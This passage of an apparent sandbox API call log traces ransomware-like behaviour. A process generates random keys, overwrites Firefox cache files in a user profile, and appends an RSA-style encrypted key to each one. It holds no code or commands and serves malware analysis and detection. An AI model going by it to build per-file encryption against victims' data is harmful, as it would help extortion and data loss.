hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.384] CloseHandle (hObject=0x1b80) returned 1 [0187.387] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df4a8 | out: pbBuffer=0x30df4a8) returned 1 [0187.387] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.387] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\732701B5818487B0389EC13AB5055BA0FC5A408C", dwFileAttributes=0x80) returned 1 [0187.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30df298 [0187.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.388] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1244, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1244, lpOverlapped=0x0) returned 1 [0187.422] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4676, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.422] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4ad8*, nNumberOfBytesToWrite=0x1244, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4ad8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1244, lpOverlapped=0x0) returned 1 [0187.423] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1244 [0187.423] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.423] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df4a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df4a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.423] WriteFile (in: hFile=0x1b80, lpBuffer=0x30df4a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df4a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.423] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.424] CloseHandle (hObject=0x1b80) returned 1 [0187.425] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0000 | out: pbBuffer=0x30e0000) returned 1 [0187.425] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.425] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7312A4BC2416B43197DAB1517D4F71DDE4DDB5C1", dwFileAttributes=0x80) returned 1 [0187.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0630 [0187.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.426] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x11c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x11c8, lpOverlapped=0x0) returned 1 [0187.427] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.427] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4a58*, nNumberOfBytesToWrite=0x11c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11c8, lpOverlapped=0x0) returned 1 [0187.428] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11c8 [0187.428] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.428] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.428] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.428] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.428] CloseHandle (hObject=0x1b80) returned 1 [0187.430] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df9d0 | out: pbBuffer=0x30df9d0) returned 1 [0187.430] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.430] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\730732921FB223938F8FC50951AF7C51CCEA61B0", dwFileAttributes=0x80) returned 1 [0187.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30df5b0 [0187.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.431] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0xc302, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0xc302, lpOverlapped=0x0) returned 1 [0187.434] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-49922, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.434] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ef7328*, nNumberOfBytesToWrite=0xc302, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef7328*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc302, lpOverlapped=0x0) returned 1 [0187.434] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc302 [0187.434] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.434] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df9d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df9d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.435] WriteFile (in: hFile=0x1b80, lpBuffer=0x30df9d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df9d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.435] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.435] CloseHandle (hObject=0x1b80) returned 1 [0187.436] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfdf0 | out: pbBuffer=0x30dfdf0) returned 1 [0187.436] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.436] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\71C7F05A4972DA343C7410BEC996469B4D9B1EC1", dwFileAttributes=0x80) returned 1 [0187.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e1080 [0187.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.437] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xef4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xef4, lpOverlapped=0x0) returned 1 [0187.451] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.451] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4788*, nNumberOfBytesToWrite=0xef4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4788*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef4, lpOverlapped=0x0) returned 1 [0187.451] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef4 [0187.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfdf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfdf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.452] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dfdf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfdf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.452] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.452] CloseHandle (hObject=0x1b80) returned 1 [0187.454] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfce8 | out: pbBuffer=0x30dfce8) returned 1 [0187.454] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.454] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\705E490FDB59514DC9A1DEE2B8DE64728A905979", dwFileAttributes=0x80) returned 1 [0187.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0f78 [0187.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.454] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e3060, nNumberOfBytesToRead=0x7afd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3060*, lpNumberOfBytesRead=0x2e1f9bc*=0x7afd, lpOverlapped=0x0) returned 1 [0187.456] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-31485, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.456] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x7afd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7afd, lpOverlapped=0x0) returned 1 [0187.456] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7afd [0187.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.457] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfce8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfce8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.457] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dfce8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfce8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.457] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.458] CloseHandle (hObject=0x1b80) returned 1 [0187.459] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e1ef0 | out: pbBuffer=0x30e1ef0) returned 1 [0187.460] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.460] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6FED260138400FD12677C90F90A961644A731AAC", dwFileAttributes=0x80) returned 1 [0187.460] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0000 [0187.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.461] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0187.479] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.479] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0187.480] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x528 [0187.480] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.480] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e1ef0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e1ef0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.480] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e1ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1ef0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.481] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.481] CloseHandle (hObject=0x1b80) returned 1 [0187.484] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e1ef0 | out: pbBuffer=0x30e1ef0) returned 1 [0187.484] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.484] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6F8476F0E7F6646593363B49CE1F1A061176132D", dwFileAttributes=0x80) returned 1 [0187.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e2940 [0187.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.485] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0187.497] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.497] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0187.498] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x528 [0187.498] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.498] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e1ef0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e1ef0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.498] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e1ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1ef0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.498] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.499] CloseHandle (hObject=0x1b80) returned 1 [0187.500] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e1ef0 | out: pbBuffer=0x30e1ef0) returned 1 [0187.500] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0187.500] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6F4FA43590A63EB51F16A747B6869FEA664D492D", dwFileAttributes=0x80) returned 1 [0187.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e1290 [0187.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.501] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e3060, nNumberOfBytesToRead=0x5e5d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3060*, lpNumberOfBytesRead=0x2e1f9bc*=0x5e5d, lpOverlapped=0x0) returned 1 [0187.528] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-24157, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.528] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e8ec8*, nNumberOfBytesToWrite=0x5e5d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8ec8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5e5d, lpOverlapped=0x0) returned 1 [0187.529] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5e5d [0187.529] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.529] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e1ef0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e1ef0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.529] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e1ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1ef0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.529] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.530] CloseHandle (hObject=0x1b80) returned 1 [0187.531] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2e68 | out: pbBuffer=0x30e2e68) returned 1 [0187.532] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0187.532] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6E737977754F860FE206E1BDA7E561C5EFCF040B", dwFileAttributes=0x80) returned 1 [0187.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e1ef0 [0187.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.532] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe27, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe27, lpOverlapped=0x0) returned 1 [0187.533] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3623, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.533] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f46b8*, nNumberOfBytesToWrite=0xe27, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f46b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe27, lpOverlapped=0x0) returned 1 [0187.534] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe27 [0187.534] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.534] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e2e68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e2e68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.534] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e2e68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2e68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.534] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.534] CloseHandle (hObject=0x1b80) returned 1 [0187.536] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2940 | out: pbBuffer=0x30e2940) returned 1 [0187.536] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0187.536] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6E70D64994FC50847D02A3C844407DE8C2A71039", dwFileAttributes=0x80) returned 1 [0187.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e2d60 [0187.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.536] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0187.547] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.547] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0187.548] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x528 [0187.548] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, 